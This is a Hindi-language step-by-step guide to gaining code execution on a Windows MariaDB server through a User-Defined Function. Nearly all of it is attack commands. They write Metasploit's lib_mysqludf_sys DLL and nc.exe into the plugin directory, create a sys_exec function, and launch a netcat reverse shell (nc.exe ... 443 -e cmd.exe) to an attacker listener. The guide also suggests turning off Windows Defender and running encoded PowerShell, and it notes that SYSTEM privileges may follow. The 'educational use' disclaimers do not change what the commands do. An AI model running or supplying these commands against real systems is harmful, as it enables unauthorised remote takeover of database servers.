
Database authenticated code execution
यह मार्गदर्शिका दूरस्थ सर्वर पर MariaDB में User-Defined Function (UDF) भेद्यता का शोषण करने के विस्तृत निर्देश प्रदान करती है। इन चरणों में एक असुरक्षित डेटाबेस सिस्टम पर दुर्भावनापूर्ण कोड डाउनलोड करना और निष्पादित करना शामिल है।
चेतावनी: यह दस्तावेज़ केवल शैक्षिक उद्देश्यों के लिए है। इन तकनीकों का अनधिकृत उपयोग अवैध और अनैतिक है।
MySQL सर्वर से कनेक्ट करने के लिए निम्न कमांड का उपयोग करें:
mysql -h 192.168.214.129 -u root -pPassw0rd!
चल रहे MySQL के संस्करण का पता लगाने के लिए, निष्पादित करें:
select @@version;
वर्तमान में लॉग इन उपयोगकर्ता को देखने के लिए:
select user();
रूट उपयोगकर्ता से संबंधित सभी विवरण प्राप्त करें:
select * from mysql.user where user='root';
निर्धारित करें कि वर्तमान उपयोगकर्ता के पास क्या विशेषाधिकार हैं:
show grants;
निर्धारित करें कि सिस्टम आर्किटेक्चर UDF के लिए असुरक्षित है या नहीं:
select @@version_compile_os, @@version_compile_machine;
प्लगइन निर्देशिका की पहचान करें जहां UDF फ़ाइलें अपलोड की जा सकती हैं:
select @@plugin_dir;
Metasploit के एक्सप्लॉइट निर्देशिका से 32-बिट DLL कॉपी करें:
ls /usr/share/metasploit-framework/data/exploits/mysql/
cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.dll udf.dll
udf.dll फ़ाइल को base64 प्रारूप में एनकोड करें:
cat udf.dll | base64 | tr -d '\n' > udf.base64
udf.base64 से base64 मान कॉपी करें और इसे MySQL सर्वर में स्थानांतरित करें:
udf.base64 को टेक्स्ट एडिटर में खोलें:
leafpad udf.base64
MariaDB में, चलाएँ:
select from_base64("base64 value") into dumpfile 'C:\\Program Files\\MariaDB 10.4\\lib\\plugin\\udf.dll';
वैकल्पिक रूप से, यदि आवश्यक हो तो निम्न पथ का उपयोग करें:
C:\Program Files\MariaDB 11.1\lib\plugin\
एक नया फ़ंक्शन बनाने के लिए MariaDB में निम्न कमांड निष्पादित करें:
create function sys_exec returns int soname 'udf.dll';
नोट: आप
sys_eval,sys_get,do_system, याsys_binevalका भी उपयोग कर सकते हैं। सुनिश्चित करें कि आपintका उपयोग करें,intoका नहीं।
जांचें कि UDF फ़ंक्शन सफलतापूर्वक स्थापित हुआ या नहीं:
select * from mysql.func;
Netcat निष्पादनयोग्य को अपनी स्थानीय निर्देशिका में कॉपी करें और इसे base64 में एनकोड करें:
cp /usr/share/windows-binaries/nc.exe .
cat nc.exe | base64 | tr -d '\n' > nc.base64
nc.base64 को टेक्स्ट एडिटर में खोलें:
leafpad nc.base64
फिर, MySQL में:
select from_base64("base64valueofNc.exe") into dumpfile 'C:\\Program Files\\MariaDB 10.5\\lib\\plugin\\nc.exe';
वैकल्पिक रूप से, आप इसे सीधे अपलोड कर सकते हैं:
mysql -u root -p -h 192.168.214.129 < nc.base64
पोर्ट 443 पर Netcat लिसनर चालू करें:
sudo nc -nlvp 443
रिमोट सर्वर पर रिवर्स शेल के लिए Netcat निष्पादित करें:
select sys_exec('C:\\Program Files\\MariaDB 10.4\\lib\\plugin\\nc.exe 192.168.214.128 443 -e cmd.exe');
नोट: यह चरण Windows Defender या अन्य एंटीवायरस सॉफ़्टवेयर द्वारा अवरुद्ध हो सकता है। PowerShell एन्कोडेड कमांड (
powershellbase64) का उपयोग करने पर विचार करें और सुनिश्चित करें कि Defender बंद है।
base64 एन्कोडिंग का उपयोग करके PowerShell कमांड निष्पादित करें:
select sys_exec('powershellbase64');
नोट: कई मामलों में आप NT AUTHORITY SYSTEM विशेषाधिकार प्राप्त कर सकते हैं।
फ़ंक्शन हटाएँ: किसी भी बनाए गए UDF फ़ंक्शन को हटाने के लिए:
drop function sys_get;
स्थानीय इनफाइल जांचें: जांचें कि स्थानीय लेखन सक्षम है या नहीं:
show variables like 'local_infile';
सम्मिलित विशेषाधिकार वाले उपयोगकर्ता खोजें: पहचानें कि किन उपयोगकर्ताओं के पास सम्मिलित विशेषाधिकार है:
use mysql;
select user from user where insert_priv='Y' and Host='%';
अस्वीकरण: यह दस्तावेज़ केवल शैक्षिक उद्देश्यों और सुरक्षा अनुसंधान के लिए है। इस जानकारी का दुरुपयोग आपराधिक आरोपों और गंभीर कानूनी दंड का कारण बन सकता है। किसी भी नेटवर्क या सिस्टम पर भेद्यता का परीक्षण करने से पहले हमेशा संबंधित अधिकारियों से अनुमति प्राप्त करें।